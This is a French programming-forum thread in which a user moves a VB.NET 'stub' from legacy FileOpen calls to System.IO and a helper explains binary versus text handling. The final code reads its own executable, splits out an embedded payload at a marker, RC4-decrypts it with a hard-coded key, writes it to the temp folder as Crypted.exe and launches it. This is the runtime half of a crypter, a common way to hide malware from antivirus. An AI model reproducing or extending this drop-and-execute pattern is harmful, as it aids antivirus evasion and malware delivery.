Remplacer fileopen, fileclose par System.IO

Bonjour,

J'ai un problème pour remplacer mon code fait en fileclose, fileopen en IO.File.ReadAllBytes.

Voici le code en fileopen, fileclose :

Code:

---

1 2 3 4 5 6 7 8

Const filesplit = "@123456@" Dim file1, filezb4() As String   FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) file1 = Space(LOF(1)) FileGet(1, file1) FileClose(1) filezb4 = Split(file1, filesplit)

---

et voici mon code en IOBuilder :

Code:

---

1 2 3 4 5

Const filesplit = "@123456@" Dim file1, filezb4() As String   file1 = IO.File.ReadAllBytes(Application.ExecutablePath) filezb4 = Split(file1, filesplit)

---

Une erreur est générée sur IO.File.ReadAllBytes(Application.ExecutablePath).

Citation:

---

Impossible de convertir une valeur de type 'Tableau à 1 dimension(s) de Byte' en 'String'

---

J'ai beau convertir mais rien n'y fait, ça plante...

Merci de votre aide.

ReadAllBytes renvoie un tableau de Byte, et tu essaies d'affecter le résultat à une variable de type String... ça ne peut pas fonctionner. Il faut déclarer file1 comme un tableau de Byte.

Qu'est-ce que tu cherches à faire exactement ?

Oui je sais, j'ai essayé mais le problème c'est que si je fais ça j'ai le même problème pour le split.

Code:

---

1 2 3 4 5 6

Const filesplit = "@123456@" Dim file1 as byte() Dim filezb4() As String   file1 = IO.File.ReadAllBytes(Application.ExecutablePath) filezb4 = Split(file1, filesplit)

---

Même erreur mais à filezb4 = Split(file1, filesplit).
Et même en mettant tout en byte, j'ai toujours la même erreur.

En fait le but est de faire un programme qui crypterait mon code afin qu'on ai des difficultés à le décrypter et donc moins de chance qu'on puisse me le voler.

Là je fais mon stub, mon crypter est déjà opérationnel.
Mon crypter va utiliser mon stub pour créer mon fichier crypté (protégé).

Jusqu'à présent j'utilisais fileopen, fileclose mais j'ai lu à plusieurs endroits qu'il vaut mieux utiliser IOBuilder.

Merci.

Citation:

---

Envoyé par *Gold*

En fait le but est de faire un programme qui crypterait mon code afin qu'on ai des difficultés à le décrypter et donc moins de chance qu'on puisse me le voler.

---

Je comprends pas très bien ton histoire... c'est l'exécutable que tu veux crypter ? Il y a des obfuscateurs pour ça...

De toutes façons, Split c'est pour les String, pas pour les données binaires

Citation:

---

Envoyé par *Gold*

Jusqu'à présent j'utilisais fileopen, fileclose mais j'ai lu à plusieurs endroits qu'il vaut mieux utiliser IOBuilder.

---

Je sais pas d'où tu sors ce terme "IOBuilder", ça n'existe pas... Normalement pour les entrées sorties on utilise les classes de l'espace de nom System.IO, je suppose que c'est de ça que tu parles.
FileOpen, FileClose etc sont des "restes" hérités de VB6 qui ont été conservés pour faciliter la migration du code existant.

Oui pardon je m'exprime mal.

En fait c'est une sécurité supplémentaire, je crypte mon exécutable avant de l'obfusquer.

Oui slip est pour les string, c'est pour ça que je pense qu'il faut tout mettre en string et non en bytes.

Peut-être qu'en lisant et transformant les données de IO.File.ReadAllBytes(Application.ExecutablePath) en string ça peut corriger le problème ?
Puis ensuite reconvertir le tout en byte (binaire) au moment de la compilation.

Oui je parle de la classe System.IO et non IOBuilder.

Voilà, j'aimerai éviter d'utiliser les restes de vb6 et coder qu'en vb.net.

Merci.

Citation:

---

Envoyé par *Gold*

En fait c'est une sécurité supplémentaire, je crypte mon exécutable avant de l'obfusquer.

---

Ca sert pas à grand chose... quelqu'un qui est déterminé à obtenir le code finira toujours par y arriver, même avec l'obfuscation. Et à moins que ton programme soit vraiment exceptionnel ou ou utilise des algos secrets très innovants, ça n'intéressera personne de te "voler" le code

En plus, si tu cryptes l'exécutable, il ne pourra pas s'exécuter sans être décrypté. Pas très pratique...

Citation:

---

Envoyé par *Gold*

Oui slip est pour les string

---

Joli lapsus :lol:

Citation:

---

Envoyé par *Gold*

c'est pour ça que je pense qu'il faut tout mettre en string et non en bytes.

Peut-être qu'en lisant et transformant les données de IO.File.ReadAllBytes(Application.ExecutablePath) en string ça peut corriger le problème ?
Puis ensuite reconvertir le tout en byte (binaire) au moment de la compilation.

---

Si tu veux lire une chaine, utilise File.ReadAllText, pas File.ReadAllBytes. Mais de toutes façons ça n'a pas beaucoup de sens : le contenu de l'exécutable n'est pas du texte, c'est du binaire. Certaines parties sont interprétables en tant que texte, mais pour tout le reste le "texte" que tu vas obtenir sera incompréhensible, et en quand tu vas le réécrire, tu vas perdre des données à cause de l'encodage

Citation:

---

Envoyé par *Gold*

Oui je parle de la classe System.IO et non IOBuilder.

---

C'est un namespace (espace de nom), pas une classe ;)

Lol, c'était la fatigue, ça va mieux ^^

Par souci de confidentialité, je ne pouvais t'en dire plus mais ça y est j'y suis arrivé grâce à toi et je tenais à te remercier.

Voici mon bout de code final :

Code:

---

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

Imports System.Text Imports System.Math Imports System.Threading.Interlocked   Const pass = "@12345@"   Dim TPath As String = System.IO.Path.GetTempPath Dim file1 As Byte() = Microsoft.VisualBasic.FileIO.FileSystem.ReadAllBytes(Application.ExecutablePath) Dim fileEncode = Encoding.Default.GetString(file1) Dim filezb4() As String = Split(fileEncode, pass) Dim filezafter As String = rc4(filezb4(1), "MatinWins") Dim In4file1 As Byte() = Encoding.GetEncoding(1252).GetBytes(filezafter)   File.WriteAllBytes(TPath & "\Crypted.exe", In4file1) Process.Start(TPath & "\Crypted.exe")     Public Shared Function rc4(ByVal message As String, ByVal password As String) As String 'mon cryptage End Function

---